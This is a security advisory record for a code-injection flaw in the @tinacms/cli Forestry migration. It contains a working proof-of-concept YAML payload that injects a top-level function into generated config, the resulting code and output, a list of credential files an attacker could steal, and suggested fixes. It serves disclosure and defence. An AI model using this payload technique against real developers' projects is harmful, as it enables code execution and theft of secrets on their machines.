{"id":"CVE-2026-54074","title":"@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels","summary":"@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels","severity":"high","cvss":7.8,"cwe":["CWE-94"],"vendor":"tinacms","product":"@tinacms/cli","ecosystem":"npm","affected":["@tinacms/cli < 2.4.3"],"patched":["@tinacms/cli 2.4.3"],"published":"2026-06-19","updated":"2026-06-19","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-4936-9hrh-qqpw","references":[{"url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"},{"url":"https://github.com/tinacms/tinacms/pull/7006"},{"url":"https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"},{"url":"https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"},{"url":"https://github.com/advisories/GHSA-4936-9hrh-qqpw"}],"tags":["ghsa","npm"],"ingestedAt":"2026-06-22T13:35:24.373Z","epss":0.00251,"epssPercentile":0.16731,"slug":"CVE-2026-54074","body":"## Overview\n\n## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper's privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n   — `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n   (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n   lines 16-22 — the regex-based unquoter:\n\n   ```ts\n   export const addVariablesToCode = (codeWithTinaPrefix: string) => {\n     const code = codeWithTinaPrefix.replace(\n       /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n       '$1'\n     );\n     return { code };\n   };\n   ```\n\n3. `codeTransformer.ts` lines 80-88 — the field array is\n   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n   `JSON.stringify` does **not** escape single quotes or backticks, an\n   attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the\n   resulting string is written to `tina/templates.{ts,js}` and imported by\n   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker's\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 — attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: ''\nwebhook_url: ''\nsections:\n- type: directory\n  path: content/posts\n  label: Posts\n  create: all\n  match: \"**/*.md\"\n  templates:\n  - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n  type: text\n  label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n> **Note on payload encoding.** The original disclosure draft used double\n> quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n> those to `\\\"`, which makes the generated TypeScript syntactically invalid\n> and is rejected by Prettier before the file is written. Using single\n> quotes or backticks for the inner string literals is required for the\n> exploit to succeed.\n\n**Step 2 — victim runs the standard onboarding flow**\n\n```bash\ngit clone <attacker repo>\ncd <attacker repo>\nnpx tinacms init       # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev        # OR: npx tinacms build\n```\n\n**Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n  return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () {                                          // <-- TOP-LEVEL IIFE\n  const fs = require(\"fs\");\n  const os = require(\"os\");\n  fs.writeFileSync(\n    require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n    \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n  );\n  console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n  return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 — observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n🦙 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading 'publicFolder')\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on <hostname> at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n  file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n  project they did not author (e.g. a starter template, a community fork,\n  a \"convert my site to Tina\" service, an evaluation of a third-party\n  CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer's user\n  account. Practical consequences include:\n  * Exfiltration of environment variables, `.env` files, SSH keys,\n    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n  * Source-code modification (planting backdoors before the developer's\n    next commit / publish).\n  * Supply-chain abuse via the developer's `npm publish` and `git push`\n    credentials.\n  * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required — victim must run the migration and then\n  the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A — sanitise user-controlled strings (the disclosure draft's proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =>\n  typeof str === 'string'\n    ? str.replace(/__TINA_INTERNAL__:::/g, '')\n    : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject — at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN  = '\u0001__TINA_INTERNAL__\u0001';\nconst MARKER_CLOSE = '\u0001/__TINA_INTERNAL__\u0001';\n\nexport const addVariablesToCode = (s: string) => ({\n  code: s.replace(\n    new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, 'g'),\n    '$1'\n  ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n  bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n  fails the build aborts (today an exception is propagated, which is\n  good — keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.\n\n## Affected packages\n\n- `@tinacms/cli < 2.4.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@tinacms/cli 2.4.3`","depth":"twilight","depthScore":43,"depthScoreParts":{"impact":42.9,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}